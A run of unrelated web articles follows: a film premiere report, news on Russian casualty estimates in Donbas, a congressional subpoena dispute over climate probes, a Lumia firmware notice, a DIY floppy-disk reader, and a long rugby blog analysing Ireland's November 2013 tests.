“It’s incumbent on you to come in there as precise and as sure as you want to do as [he is],” Jackson said. “But still he expects you to come and create something that’s as unique and visual as what he’s doing.”
Green, who worked with Burton on “Dark Shadows” voiced that even with a second film under her belt, “you’re always worried you’re not going to measure up.” She added, “It’s a gift. Not every day I can play a Mary Poppins that can shape-shift into a bird.”
After snapping photos on the red carpet, the cast and crew enjoyed a “Peculiar Children” themed after-party at Saks Fifth Avenue. The stars of the film enjoyed small plates among bubble-shaped chandeliers, leaf-lined walls decorated with photos of the peculiar children, and centerpieces consisting of empty bird cages, black feathers, and twisted plants.
“Miss Peregrine’s Home for Peculiar Children” bows Sept. 30. |
"There aren't any exact numbers – we've got general estimates," she told Channel 112.
"Unlike previous wars and their participants we've dealt with, now people virtually do not apply [to us] – whether it concerns their wounded or killed. This war has turned to be very covert. We can only guess what has actually been happening on the basis of indirect data or those rare requests we receive," Melnikova said.
At the same time, she added, "there is a theoretical ratio between the losses of the belligerent states."
Read alsoAlmost 500 Ukrainian women, 70 children killed amid Russian aggression in Donbas"Therefore, our assessment is – just the way we assessed those killed and wounded in action during the first and second wars in Chechnya – and we estimate that the Russian losses (these are the so-called theoretical 'volunteers,' but in fact, they are servicemen, soldiers, officers of Russia), the death toll exceeds 1,500 men if we take the entire period of the war since the spring of 2014," she said.
Read alsoLavrov compares Crimea occupation with Falkland Islands issueAfter the annexation of Ukrainian Crimea in March 2014, Russia started destabilizing Donbas, Ukraine's east. Russia has been arming terrorists from the self-proclaimed Donbas republics and sending mercenaries and its regular troops there.
Fighting has been under way in some areas of Luhansk and Donetsk regions since the middle of April 2014. |
Mr. Smith has called the state-level investigations a violation of scientists’ right to free speech. Mr. Smith said he had called Wednesday’s hearing to “affirm the legitimacy” of his inquiry.
The attorneys general and the organizations have refused to comply with the subpoenas from Mr. Smith, as they have refused to comply with earlier demands for documents from him, claiming that the federal subpoenas are unconstitutional. The attorneys general have cited case law going back to the proceedings of the House Un-American Activities Committee and have cited principles of states’ rights — an argument usually made by conservatives. Mr. Schneiderman and his supporters say the First Amendment argument is a smoke screen to avoid a legitimate investigation.
The subpoenaed organizations, including the Union of Concerned Scientists and 350.org, have also refused to comply. This week, a group of more than a dozen First Amendment scholars and litigators sent a letter to Mr. Smith, arguing that his subpoenas, not those from the state officials, were a threat to the organizations’ First Amendment rights, and that they exceeded the legal authority of the committee.
Critics of Mr. Smith, who has questioned the overwhelming scientific consensus underlying climate change, note that he has received more than $675,000 from the fossil fuel industry since 1998, including more than $24,000 from Exxon Mobil. Supporters of Mr. Smith and Exxon Mobil launched a counterattack over the weekend, noting that Mr. Schneiderman has received substantial campaign contributions from people and organizations with an interest in environmental matters.
The witnesses called for the hearing included Ronald D. Rotunda, a professor at Chapman University’s law school, and Elizabeth Price Foley of Florida International University College of Law. Both are affiliated with conservative causes and organizations: Mr. Rotunda has ties to the Heartland Institute, which disputes climate science, and Ms. Foley recently wrote an article for The Wall Street Journal in support of Mr. Smith’s subpoenas. |
Hey,
we have started rolling out a new firmware update for Lumia 950 and Lumia 950 XL: 01078.00027.15506.020xx. Key highlights include:
Stability and performance improvements.
Improvements for SD memory card support.
Improvements for automatic display brightness settings.
Fix for a camera problem that was causing noisy images in low-light conditions for some users.
Fix for a 4K video problem that was causing stripes to show up while playing back recorded videos for some users.
The update should be already available for many of the users and rollouts will continue gradually. Availability of the update may depend on your network service provider.
Windows 10 is updating continuously, so make sure you follow all the update notifications that appear on your phone. To check for updates, you can also tap Settings > Update & security > Phone update > Check for updates. For detailed update instructions, see.
To read more about the new features included in Windows 10 Mobile, see What's New in Windows 10 Mobile. |
[Jim] has a box of disks for a very old Compucolor II computer, and with bit rot slowly setting in he figured it might be time to dump all those disks to a more permanent format. After reviewing the existing tools to read these disks, he decided to build his own floppy disk interface that he calls the DiskVaccuum.
The DiskVaccuum is based on a Papilio Pro FPGA board and a few chips worth of level conversion. The FPGA is able to read bits and move the head of the disk with ease, saving everything to the drive of a much more modern computer.
On the USB side of the Papilio board, [Jim] wrote a shell of sorts in Python to capture tracks on the disk, read out the track listing, save an image file, and do all the things a proper DOS should. Right now the project is only for the Compucolor II disk drive, but [Jim] played around with KiCAD enough to create a Papilio-to-disk-drive interface board with connectors for most of the disk drives of this particular vintage. The hope is to generalize the hardware and software to read disks for other systems, including those with 8-inch drives.
[Jim] put up a video describing the hardware and demoing his Python capture utility. You can check that out below. |
Amidst no small dollop of carping and moaning about what a pain in the arse it was, we mentioned at the end of the last Ruck Marks article that we’d try and run a similar exercise using Ireland’s November tests as our subjects. We surprised ourselves by actually carrying this through [just like we carried through our tag index … all the way up to ‘D’] with a Boxeresque appetite for dumb labour.
Ireland 40 – 9 Samoa
Ireland’s first test outing under the Joe Schmidt regime was a disjointed effort against an underwhelming Samoan side who failed to reach the standards they had set a year earlier. With that said, Ireland put 40 points on a team who were ranked above them at kickoff. That hasn’t happened too often in the recent past … or ever, really.
There was a fair share of mealy-mouthed pandering to the disappointing Samoan effort, much of it undercooked guff about how they were missing ‘half a team’. Hmmm.
Back in June, a half-strength Ireland were playing a couple of friendlies on North American soil under an interim coach while Samoa were involved in a fully fledged Quadrangular Tournament in South Africa, beating Scotland and Italy on neutral soil before losing heavily to the full strength Springboks, a team who have since gone around beating the piss out of everybody but the invincible All Blacks.
The Samoan team that turned up in Lansdowne road featured five changes from the team that started the final in late June; one of those – Kahn Fotuali’i over Jeremy Sua in the No9 jersey – is a big upgrade by anybody’s account.
At fullback Fa’atoina Autagavaia replaced James So’oialo, who had been and gone from Connacht over the course of about three weeks in October. So’oialo has a name made famous by brother Rodney, but not that much more in his kitbag than the man who replaced him. Northampton’s George Pisi stood in for Stade’s Paul Williams at No13, which is a bit of a downgrade, but hardly a disastrous one; both centres were first capped in 2010, and Williams has 18 caps [all of them starts] to Pisi’s 14 [again, all starts]. Brando Va’aula replaced the talismanic Alesana Tuilagi on the left wing, which obviously takes a huge weapon out of the Samoan armoury; the aforementioned Fotuali’i/Sua switch took place at scrum-half; and Fa’atiga Lemalu replaced the experienced Daniel Leo in the row. The Samoans didn’t name a single debutant in the team that took the pitch, although two lads earned their first caps off the bench.
The point is that it wasn’t a vastly under-strength Samoan team, no more than it was a vastly understrength Irish team. It’s a tricky situation to talk about ‘certain starters’ under a new coach during the Autumn Internationals, but injury deprived Ireland of Jonny Sexton, Donnacha Ryan, Simon Zebo, Keith Earls, Craig Gilroy, Richardt Strauss and Iain Henderson, six of whom had started the last of the equivalent tests in 2012 – the convincing win over Argentina – with the seventh [Henderson] making an appearance off the bench in that game.
Schmidt further imposed his selectorial will/tied one arm behind his back by leaving three 2013 Lions – Paul O’Connell, Sean O’Brien and Cian Healy – on the bench for the starting gun. All three of them are typically amongst the first names inked into the starting lineup.
So, with that preamble out of the way, what did the numbers show?
All Rounder
Something that became very evident from looking at these matches in detail over the last month is that Sean O’Brien is pretty much Ireland’s best player in every game. I recognise that this might come across as a loaded judgment because of the fact that this article examines games through a lens which particularly favours him [i.e. activity at the ruck and breakdown], but if Ireland had a Quade Cooper, Israel Folau, Willie le Roux, Jan de Villiers, Dan Carter or Ben Smith tearing it up, there’d just be a classic backs vs forwards argument, rather than any retraction of the thesis.
As it is, none of our backline have either really dominated a game or set it alight over the last month, and O’Brien is just a monster. Everyone in world rugby knows what a punishing and explosive runner he is, but he combines that with being the pack’s consistently hardest tackler, one of Ireland’s most frequent tacklers [in every game he plays] and a ferocious appetite for effective work.
O’Brien was only on the pitch for 46/47 minutes against Samoa, and yet he was the joint highest carrier in the Irish pack [with O’Mahony and Heaslip], ran for almost three times as many metres as his nearest contender in the green eight, beat as many defenders as the rest of the Irish pack combined [starters and subs], made up a credible tally of tackles and finished second only to Rory Best in terms of ruck marks, running up a total of 73 and leading the team in hits [14] and guards [7] in the second half.
Rory Best, Paul O’Connell and Sean O’Brien– Seven Habits Of Highly Effective People
One of the most interesting things about reviewing the game was the disparity in the number of rucks between the frustrating first half and the far more satisfying [if never all that thrilling] second half.
The first half saw 67 rucks take place, while there were a round 100 in the second period. Even The Mole can figure that one out: a whopping 50% increase in the number of rucks from the halftime blast to the full time whistle.
Ireland struggled badly to retain possession in the first half; really badly. Only once were they able to take it beyond two phases [the six phase epic of Ruck#15-21 between 11:19 and 11:50 on the match clock]. That’s pretty pathetic.
The half time break obviously saw a significant change in tactics, as well as the introduction of Paul O’Connell and Sean O’Brien, Ireland’s two most effective players at the ruck and breakdown. O’Brien earned 64 ruck points [1 turnover, 14 hits, 7 guards and 3 presents] in the second 40 minutes, while O’Connell earned 53 [3 decisives, 11 hits, 2 guards, 2 presents]. Rory Best continued where he had left off in the first half, bringing in 57 ruck marks [3 turnovers, 1 decisive, 11 hits, 1 guard and 3 presents].
Over the three game series, O’Brien [295 ruck marks in 200 minutes] and O’Connell [264 ruck marks in 187 minutes] were Ireland’s most effective forwards in ruck and breakdown situations. While Best didn’t quite hit those heights, his outstanding work in the Samoan match, a decent shout in the Australian debacle and a score of 34 in the 14 minutes he was on the pitch at the start of the New Zealand game [2 turnovers, 6 hits, 2 guards and 2 presents], serves as an indicator that if he’s not quite at their level, he certainly belongs in their company.
Choke/Rip
The Ulster hooker made turnover hay throughout the second half by ripping the ball out of various Samoan hands while they were being held up in choke tackles.
He managed three of these steals in the second half [@ 45:13, @ 54:00 and @ 59:13] and almost had a fourth, letting the ball go as the maul hit the ground in order to limit the danger of conceding a penalty. It’s difficult to tell whether the Samoans were so concerned with the choke tackle that they forgot to prioritize ball security as they fought to get to ground [i.e. they were perhaps over-prepared] or that they weren’t aware that Ireland would try and hold them upright and hawk on the ball when the held Samoan player looked to offload [i.e. they were underprepared]. In any case, the second half was a happy hunting ground for Best.
Three Dimensional Strength
The numbers are in and the news is shocking: Devin Toner isn’t particularly effective at ruck time.
He certainly doesn’t compare well to second row partner Paul O’Connell, whose work-rate and effectiveness when the ball is on the deck has been remarked upon previously. However, and wiith due apologies for tiresomely cross-referencing articles that we wrote before, “…it’s also a standard that few will ever hit, and you can still be a more than competent test player without being as good as O’Connell.”
The Mole would stand by that remark. It’d be great if Toner was as good as Paul O’Connell, but O’Connell is easily the best Irish second row of the professional era, and probably the best of the last half century. It’s a pretty sh*tty stick to beat somebody with if you’re going to complain that they’re not as good as the best player their country has produced in the position over fifty years or so. Jesus Christ, Gordon D’Arcy, why can’t you be as good as Brian O’Driscoll?
At around 208cm, Toner is not ideally built for rucking [the obvious game?], and he especially struggles in messier breakdown situations when he can’t line people up from a bit of distance. When he gets his approach right he can deliver some extremely solid thumps that move the pile: that’s not all that surprising, because it’s 124kg moving at a decent lick. However, when there’s not a static target there to hit, he’s a lot less effective.
O’Connell has developed a great low hip posture when he’s addressing rucks, but the breakdown is a chaotic theatre of operations and rucking a messy business; you often find yourself arrayed pretty unconventionally, and one of O’Connell’s strengths is that he’s able to function effectively when he finds himself in very compromised body positions. He’s got great three-dimensional strength [just another variant on the over-used ‘functional strength’ tag], and there’s probably a whole catalogue of things that have contributed to it: genetics, the core strength built up by his years of swimming as a kid and teenager, his famous competitiveness in the gym, a willingness to learn from other people and other disciplines, the natural process of getting stronger as you mature [another strength trope, this time the revered ‘old man strength’] … there are likely a dozen contributing factors if you wanted to give the premise a sky funeral and pick over its carcass.
Toner is a lot more reliant on linear strength, and tends to be ineffective if he is inaccurate. There are a couple of things he can do to remedy this: be more accurate would be the first of them!
Secondly, he could definitely use those long levers of arms more effectively even if he slips off the hit – wrap people up, grapple, get underhooks or headlocks and make them compete against the dragging force of his 124kg weight applied off-axis.
O’Connell’s repeat efforts at close-in rucks are magnificent, but when you’re 10cm taller and 12kg heavier, down-and-ups take a hell of a lot of energy. If he has missed a clean hit at the ruck, Toner can sometimes be a bit tepid – he should always fight to make himself a nuisance at the breakdown, even if it means dragging people out from the wrong side [and the master of that particular art, Leo Cullen, is a provincial colleague and should be able to pass on some tips] or playing them when he’s on the deck, fighting off his back with four limbs like a Gracie.
This is all quite negative on Toner, who had a good series and established himself as an option at test level for Joe Schmidt’s Ireland. Mike McCarthy made a similar impression in this series last year, making his first start as a lock [and only the second start of his test career] against the Boks; before him, Donnacha Ryan emerged as a test starter at the tail end of the 2012 Six Nations, when he made his second test start at lock [having made a couple of other run-ons in 2011 as a blindside flanker].
It’d seem evident that Toner’s a very coachable player and conscientious professional, because it’s obvious that he has systematically addressed aspects of his game – scrummaging, ball-carrying [16 carries for 29m in these three games, an average of 1.8m+/carry], tackling [30/5 over the series, an average of 10/1.6 per game], handling [7 passes in his three starts, averaging better than 2 per game] – and methodically improved them one by one, season after season, until they’re at test standard.
Ireland are turning over a generation of experienced, highly-decorated and eminent second rows – Cullen, O’Callaghan, the now-retired Mick O’Driscoll – and the generation behind them have come to international rugby later than their predecessors. There’s always a bit of suspicion amongst Irish fans about players who don’t break into international rugby in their early twenties, which is [in The Mole’s opinion] short-sighted. Not every player has to be an 80-capper, and some guys mature later than others and are simply the best available option at a given time.
You Don’t Know What You’ve Got Til It’s Gone
A scrum that performs badly will typically generate more criticism than a scrum that performs well generates praise; ditto with lineouts. Eaten bread is soon forgotten.
The Irish set-pieces absolutely ground the Samoans into the dirt, generating numerous turnovers, free-kicks and penalties. Paul O’Connell stole two lineouts cleanly and Mike McCarthy one. Their efforts heavily contributed to a Samoan success rate out of touch of just 50%, while Ireland dominated the stratosphere with a cool six from six on their own ball for a 100% return, including a classic try off a driving maul for Peter O’Mahony in the first half.
The scrum was just as impressive, especially as it formed the foundations of debutant Jack McGrath’s successful Man of the Match campaign. James Johnston is no dummy, and he’s bloody enormous, even for a Samoan. While he has lost a little of his effectiveness under the new scrummaging protocol, he’s still the immensely strong 140kg colossus who brutalised first Paul James and then Gethin Jenkins when Samoa knocked over Wales in November of last year. Ask the Connacht props how much they enjoyed scrummaging against him in the Stoop last year when they took on Harlequins in the Heineken Cup – if they haven’t blocked it out of their respective memories, I’d imagine they’d answer that it wasn’t a pleasant experience.
Of course, the scrum is a unit skill, and everyone involved should get their dues. While McGrath, Ross, Healy and Fitzpatrick provided a solid platform in the direct head-to-head exchanges, the labours of Toner, McCarthy and O’Connell in the engine room can’t be ignored, nor the excellent ball control of Jamie Heaslip at the base.
Destructive No7
Chris Henry only lasted for 34 minutes of the November series, but it’s arguable that he did everything asked of him. Both Jamie Heaslip and Joe Schmidt spoke in the build-up about how they’ve had to gameplan for him in the past when Leinster were preparing to face Ulster, and he was the same dogged and effective presence at the tackle, breakdown and maul in his time on the pitch against Samoa as he had been in those interprovincial derbies. His seven tackles in the first half hour and ruck mark score of 30 [1 decisive, 5 hits, 4 guards, 3 presents] both led the Irish team at the interval.
He’s just a destructive, negative force as a player, and plays the No7 position in a singular way. He’s somewhat one-paced and lumpen in comparison to other opensides like Michael Hooper or Justin Tipuric, but he reads the game well as a defender, has an indomitable attitude that quietly keeps him coming back for more and is capable of taking a huge amount of punishment. When it comes to competing and slowing opposition ball, he puts his body in harm’s way on a weekly basis, regardless of the import of the game. Allied to that is the fact that he’s a canny competitor and a persuasive, open face with referees; he plays right at the edge of the laws, but only in terms of gamesmanship, rather than niggle or thuggery. As a result, he rarely picks up yellow cards or attracts the referee’s attention beyond what you’d expect. In terms of referee relationships, he’s an admirable Grey Man No7: mildly charming, ultimately forgettable.
He’s also got that slow-twitch sort of strength which manifests itself best through grappling, and being taller than the average openside adds to his abilities as a choke tackler. Henry’s a very, very different type of animal than Sean O’Brien, and quite one-dimensional in comparison to guys like McCaw or [historically] Olivier Magne or Neil Back, but he seems to be a very difficult player to play against; sort of like an openside version of Dan Lydiate.
Ireland 15 – 32 Australia
The Beeb’s legendary Northern Code commentator Ray French was interviewed at half time of the Rugby League World Cup final in Old Trafford. In the first forty, the Kangaroos had absorbed the brunt of the Kiwis’ full frontal attack and had taken point-scoring chances with surgical precision; the game was already as good as over, and when former dual code international Robbie Paul was asked what they could do to get back in the game, he was pretty much stumped. He knew that his New Zealanders were goosed, and all he could really come up with was something about playing with passion.
The players were back on the pitch and the director had cut from the studio back to where the action was about to restart, but French was allowed the last word, and they came disembodied over the airwaves as the cameras covered the second half kick off: “When he says passion, somebody up front needs to smash someone.”
Bingo. That’s why he’s one of the greats.
The reaction to Ireland’s 17-point loss to Australia probably deserves more comment than the performance itself, which was …. lacklustre. The team hamstrung themselves with some amateur hour defending, and unless you’re a potent, free-scoring, experienced and composed team [the All Blacks, Rod Macqueen’s Australian team at their best, certain French sides of the late 1980s and early 1990s], you simply can’t afford to concede that many cheap tries and win a game.
There was also a general standoffishness at the breakdown and ruck. As with most situations on a rugby field, there are likely a number of contributing factors, but The Mole feels that the primary cause of this hesitancy was likely explained by the simple fact of who was reffing the game.
Chris Pollock was the whistleblower in the first Lions test who simply didn’t allow competition on the ground, and it looked as though the Irish coaching staff had not just taken account of his interpretation, but had drilled it into their team. Ireland were particularly cautious at the breakdown with regards to jackalling, and because this is the primary mode of competing for the ball at the breakdown amongst all the provinces [rather than counter-rucking/getting beyond the ball] this had an overall negative impact on their performance on the deck. The Australians were in general more urgent and had the benefit of not shooting themselves in the foot every time they were on D.
The Props’ Performances – Sort of Backwards To What You’d Expect
Healy put in a peculiar shift against the Australians, winning Ireland’s only ruck turnover of the day under referee Pollock on 35:15 and making the best Irish tackle of an admittedly piss-poor defensive performance when he buried Australian winger Cummins at 65:24.
However, aside from those standout moments he had one of his quietest games in an Irish jersey and, barring the jarring tackle on Cummins, his second half performance was well below par. The Mole had him picking up just 8 ruck marks in his 28 minute second half: 1 hit, 1 guard and 3 presents. That’s anaemic stuff for a bulldozer of Healy’s ability.
It was surprising to see him fail to complete the cover tackle on Aussie hooker Stephen Moore for Cummins’ try in the first half; you’d imagine that the loosehead would have his number in a footrace nine times out of ten. Sure, it shouldn’t have been his tackle to make in the first place, but it ended up in a scramble and anything goes in that situation.
Healy escaped most of the public recriminations that dogged his prop partner Mike Ross in the [borderline hysterical] aftermath because he was able to hold up his end at scrum time against Sekope Kepu, but Kepu’s no force of nature and scrummaging is a unit skill.
Ross didn’t have a good day on his side of the scrum, but it’s difficult – practically impossible – to know if Ireland’s right side troubles started and ended with the tighthead anchor. On one occasion in the second half [around the 61 minute mark, after O’Connell had decided to kick for the corner instead of the posts and then messed up the transfer at the lineout] he ended up flat on his face on Lansdowne Road’s Desso GrassMaster hybrid sward and was quite obviously at fault. Australia rightly got the penalty and it was more or less the last meaningful action of the match as a competitive issue.
Against the ‘it’s all Ross’s fault’ proposition is the argument that if the opposition loosehead is coming through at a rate of knots and Ross is going backwards rather than buckling to the dirt or getting flying lessons, it means that he’s not getting enough of a shunt from his side of the middle row. There certainly was an instance in the second half – in fact it was the scrum that turned over the ball for Quade Cooper’s cakewalk try – where Peter O’Mahony completely fell off very early after put-in and O’Connell entirely lost his bind. Momentarily we caught a glimpse of a revolutionary scrummaging formation where O’Mahony kept wide on the right and O’Connell played the trequartista role in the hole just behind the front three.
Putting that disaster of a scrum all on Ross is laughable: the Aussies have at least four men transmitting power through his channel [loosehead, left side second row, blindside, half a hooker and half a No8] against an opposition force of one. Best has to strike, O’Mahony and Heaslip are nowhere, O’Connell is woefully out of position.
Aside from the scrums, Ross had a strong first half in the loose, leading the team with 59 ruck marks [16 hits, 5 guards, 1 present], making two barrelling carries and four tackles [two solos and two assists].* His second half efforts in the loose tailed off somewhat, but he still finished the day second in the Irish team in terms of his ruck marks [80], behind only Paul O’Connell.
*Scrum.com has him as making just one tackle which, somewhat unusually, doesn’t tie in with what The Mole has got: we have Ross making tackles at 01:13 [with Sexton]; 04:20 [solo]; 16:37 [with Toner]; and 34:47 [solo].
Big Buckets Of Will, Smaller Buckets Of Skill
Paul O’Connell had a game that must have been personally frustrating for him, and was also frustrating to watch as a fan. The returning captain’s effort was, as ever, commendable. He led the team with a ruck mark of 96 – 53 in the first half, with 13 hits, 5 guards and 4 presents; and 43 in the second half with 1 decisive, 9 hits, 5 guards and 2 presents.
However, he was ineffective in the set pieces, with Ireland’s lineout coming off distinctly second best, and the right side of the scrum was continually under pressure. His handling also let him down a number of times: he threw one pass on the floor, was caught in possession by Ben Mowen at the base of a ruck while trying to get a pass away and dropped a lineout transfer at a critical moment.
Because Ireland lost pretty heavily and the result was beyond doubt from Michael Hooper’s try in the 66th minute, a general feeling of moroseness descended upon the crowd at the game. There seemed to be a very willing acceptance of the proposition that we were never in it, with side arguments revolving around the fucking music over the tannoy and lack of dog and how come nobody hit Kuridrani and a whole bunch of disgruntled and irrelevant et ceteras.
Against that line of thinking, it was 12-15 at halftime, with the game very much in the balance. Ireland had had 67% of possession and 68% of territory in the first forty minutes, and while the team in green didn’t look too carnivorous in terms of scoring a try, the Australians were pretty cynical in defense, conceding four kickable penalties and having a man sent to the sin-bin just after half an hour.
Even the sinfully easy ten points gifted to the Wallabies early in the second half – Cooper’s trot-in try and conversion on 45 minutes, then a patty-cake penalty four minutes later when Rob Kearney dropped a gimme and Madigan was caught up in the wash and forced to hold on – didn’t put the game entirely out of reach; certainly not with half an hour left to play.
Madigan knocked over a penalty on 57 minutes, and three minutes later Ireland were afforded the opportunity of basically the same kick again when the Australians were offside in defense. This time around the penalty was even a little closer to the sticks. Twenty minutes left, a very gettable kick and the opportunity to bring it back to a seven point game? O’Connell made the unnecessarily gung-ho option to go to a lineout that wasn’t firing, and then dropped the pill and lost the turnover.
Pretty much everyone will remember O’Connell making a similar call all those years ago when Munster lost their Thomond Park record to Leicester in the HEC, and he has done it a few times in the interim as well. It’d seem to The Mole that he’s too prone to believing that it’s always time to go for the jugular, when quite a lot of the time it just isn’t. Knowledge is knowing a tomato is a fruit etc.
Just go for the shot at goal. There’s a quarter of the game left. Lovely hurling from the ditch there admittedly, but it seemed a very obvious call even at the time.
Somebody Said ‘Class’, I Heard ‘Waffle’
Not for the first time this year, Fergus McFadden was Ireland’s most threatening and effective back. It seems to be de rigeur in certain sections to damn him with faint praise and to treat every good test performance as an anomaly, regardless of the evidence that builds up in his favour.
Obviously the standout numbers from his performance were his 132 metres run [best on the pitch by some margin] and three clean breaks, but he was also the only Irish three-quarter not to miss any tackles [going 4/0], and finished tenth on the team’s ruck marks, second amongst the backline, with 36 points [1 decisive, 8 hits, 2 guards, 4 presents]. As an all-round performance, it was pretty clearly the stand-out effort from any of the Irish backs.
McFadden hasn’t quite been operating at Mike Brown levels, but there are similarities between them in that they are gutsy, competitive players who were relatively late bloomers at test level. Neither player really fits the stereotype associated with their respective positions [or their clubs, for that matter], but this isn’t synchronised swimming. There are no points for style.
The Kildare man played five games for Ireland in 2013: against France in the Six Nations, the two games of the North America tour, against the US and Canada, and two of the games of the November series, against Samoa and Australia.
The lad averaged 11 carries and better than 65m per game, but more impressive is the average of two clean breaks every test this year, and better than two and a half defenders beaten.
McFadden has 21 test caps [13+8] and has scored 8 tries in those games; 4 of those have come against ‘minnows’ Canada [3] and Russia [1], with the others coming against New Zealand, France, Scotland and Samoa. Those aren’t staggering, Julian Savea-type numbers, but they hold up well in comparison to his contemporaries:
Andrew Trimble [born 1984]; 50 tests [38+12] & 12 test tries [including 2 vs Romania, 1 vs Namibia, 1 vs Russia and 1 vs Canada]
Keith Earls [born 1987]: 39 tests [31+8] & 12 test tries [including 2 vs Russia, 2 vs Fijiª and 1 vs Canada]
Luke Fitzgerald [born 1987]: 27 tests [19+8] & 2 test tries
ª For the sake of comparison, it’s worth considering that it’s neither accurate nor [to use a derided word] ‘fair’ to count Earls’ two tries against Fiji in the 43-6 win in the RDS back in November 2009, and not to count McFadden’s two in the 53-0 win against the same opposition down in Thomond last year. The November 2012 game against Fiji was distinctly not a Wolfhounds game, and neither match was played at the national stadium. The primary reason the more recent game wasn’t classed as a test match was because of a sponsorship clause that requires all Irish home test matches to be played at Lansdowne Road and because the attendance drawn by Fiji wouldn’t cover the cost of staffing the Aviva Stadium. That’s not really a good enough reason, in my opinion. Fiji are a country, they sent over their national team. Not awarding caps for that fixture nor regarding it as a test match is one of those decisions which is absolutely understandable from a commercial and financial point of view, but still smells rotten. With that proviso, McFadden’s record would improve to 22 tests [14+8] with 10 tries, 6 of them against ‘minnows’.
This isn’t to say that McFadden is better or worse than Earls or Trimble or Fitzgerald. It’s just that in terms of production, in terms of things that have actually happened, he compares well with any of them.
Fitzgerald made his test debut as a 19 year old [against the Pacific Islands in November 2006], Trimble a month after his 21st birthday [against Australia in November 2005] and Earls at about the same age as the Ulster winger, his first Irish cap coming in November 2008 against Canada. McFadden didn’t debut until he was 24 [against Italy in the 2011 Six Nations]; that might seem somewhat beside the point, but again, it’s noticeable that there’s a bit of a sniffy attitude about players who don’t break into the test side as nippers.
Rather than sticking blindly to preconceptions or talking blithely about a player’s ‘class’ when you can’t put your finger on what it is that he does [or doesn’t do] that sets him apart, looking at a player’s production can give you a strong pointer as to why he gets the nod in selection, and why maybe it’s not the wrong decision after all.
Marshall Steps Up
Luke Marshall continued Gordon D’Arcy’s breakdown effectiveness in the No12 jersey, notching 48 ruck marks [1 decisive, 10 hits, 5 guards, 4 presents] to finish top of the backs.
Even better was his performance with the ball in hand, making four clean breaks and 59m off just five carries. Beyond those good showings both with and without the ball, The Mole was perhaps most impressed with the maturity he showed in taking responsibility for the defensive lapse that resulted [pretty much immediately] in Quade Cooper’s try. It probably wasn’t completely his fault at all – himself and Madigan have never played together before and both are neophytes when it comes to test rugby and Les Kiss’ defensive system – but he stuck his hand up and put it on himself. That takes honesty and courage and says a lot for his character.
Like every young player, Marshall is a work in progress: if you’re as good as you’ll ever be at 22 years old, something’s wrong with your attitude or the coaching you get. Marshall’s comments demonstrate that there’s nothing wrong with his attitude, and in Anscombe at Ulster and Schmidt at Ireland, he’s got a pair of good coaches. The Australia game didn’t have many bright points from an Irish point of view, but Marshall was one of them.
88 – Double Eights, Two Fat Ladies
Sean O’Brien was probably Ireland’s best player [again] but being the top performer of a cast who flubs their lines isn’t the stuff of which Oscar dreams are made. Aside from O’Brien, it was one of those games that crop up every now and again where the Irish backrow looked unbalanced and stilted, with Heaslip and O’Mahony putting in essentially identical, and identically ordinary, performances.
O’Mahony handled the ball 15 times, Heaslip 14 times; the former made 11 runs for 14m [for an average carry of 1.27m] and the latter made 8 runs for 7m [an average carry of 0.86m]; they each beat one defender, with O’Mahony credited with no clean breaks but one offload, and Heaslip credited with one clean break and no offloads; they both made just four tackles [well, Ireland did have the majority of possession]; and Heaslip was modestly more effective at the ruck and breakdown in each half [26 to 25 in the first half and 35 to 32 in the second half].
It’d seem to The Mole that O’Mahony’s most natural position is at No8 [the position where he played most of his underage rugby], and that he should be considered there to pose a genuine challenge to Heaslip’s recent hegemony of the job. Heaslip hasn’t had much competition for the jersey since handily seeing off Dennis Leamy’s challenge almost five years ago, and as a result his form has occasionally dipped without any selection repercussions. It’s difficult to see the recourse of playing O’Mahony at No8 not spurring both players on.
It’s a good use of resources to get O’Mahony into the team at blindside, because he’s currently one of the best backrows in the country. Against that, you’d want to go out of your way not to see the holes in his game as a No6. The strongest part of the Munster captain’s game are his open-field running, his handling and his lineout work, while the weakest are his tackling, his hitting power and his size.
O’Mahony has responded well to Schmidt’s coaching and gameplan, passing as many times in his first two tests under the new regime [10 times, 4 against Australia and 6 against Samoa] as he did in his last seven games under Kidney. It’s a natural strength of his, and has only been encouraged by the new coach rather than implanted.
With the exception of the Samoan test, where his run up the middle went unsupported and he turned over the ball with a hit-and-hope offload, he didn’t really find his groove as a ball carrier over the November tests. He got on the ball quite a lot against Australia but the Wallaby fringe defense were alive to him [and every other forward, it should be said] and dropped him before he could get into a bit of fresh air and put the pedal down. His carrying game against New Zealand was practically non-existent [3 carries for 2m] as he buried himself in less glamourous work at ruck and breakdown.
With Toner and O’Connell both on the pitch, O’Mahony was only used as a lineout wrinkle against Australia, taking one ball on the Irish throw, just as he did in the other couple of tests. Given the effectiveness as a spoiler at the front of the line on opposition ball that he showed in Munster’s Heineken Cup quarter-final against Harlequins, The Mole feels that he could be used more often in this role – he’s got a natural spring and his spare build makes him a quick and easy lift in the same mould as Julien Bonnaire.
Unfortunately, that’s one of the downsides to his game as a blindside. He’s a little undersized and maybe underpowered [at the moment] for the position at test level. Steven Luatua, his opposite number in the NZ game, is listed at 196cm and 114kg, while Scott Fardy, his direct opponent in the Wallabies game, makes 198cm and 111kg.
O’Mahony is listed at 191cm and 108kg, but it seems pretty f*cking fanciful that he’s the same weight as Sean O’Brien and 3kg heavier than David Wallace was at his peak. Of course, measurables aren’t everything. Thierry Dusautoir is listed as between 95-100kg and is one of the greatest flankers of the last decade. However, Dusautoir is one of the best tacklers of the professional era, and O’Mahony isn’t.
The Mole has seen a number of arguments forwarded in defense of O’Mahony’s defense [so to speak]. Just like Toner is not a particularly effective rucker at test level, O’Mahony is not a particularly effective tackler. I think it’s as simple as that. It doesn’t mean that he’s not a good player, or that he doesn’t have other strengths in his game, but it’s a real thing. In general, he doesn’t make as many tackles as you would expect of a good test backrower – Jamie Heaslip made more tackles against New Zealand in 80 minutes [21] than O’Mahony managed in his 216 minutes on the pitch in all three tests [19 – 7 vs Samoa, 4 vs Australia, 8 vs New Zealand] – and he doesn’t make enough big hits for a blindside in particular. At this stage of his career, he has started 15 test matches in the backrow and failed to make it into a double-figure tackle count even once; of those test starts, he averages slightly under 72 minutes on the park and just under 6.5 tackles/game. Like Toner and rucking, it’s something that he needs to work on.
The Mole is in general positive about Ireland’s depth across the backrow, but there are still a few question marks. The biggest of them hangs over the injury-stricken Stephen Ferris, who recently signed another short term deal with Ulster, but hasn’t played a game of rugby since November 2012. Tommy O’Donnell made a cracking first test start against Canada over the summer, but he has only played 109 minutes of test rugby in his career thus far. Both O’Donnell and the prodigious Iain Henderson would surely have been part of Joe Schmidt’s plans for the November campaign, and it’s unfortunate for all involved that they missed out due to injury.
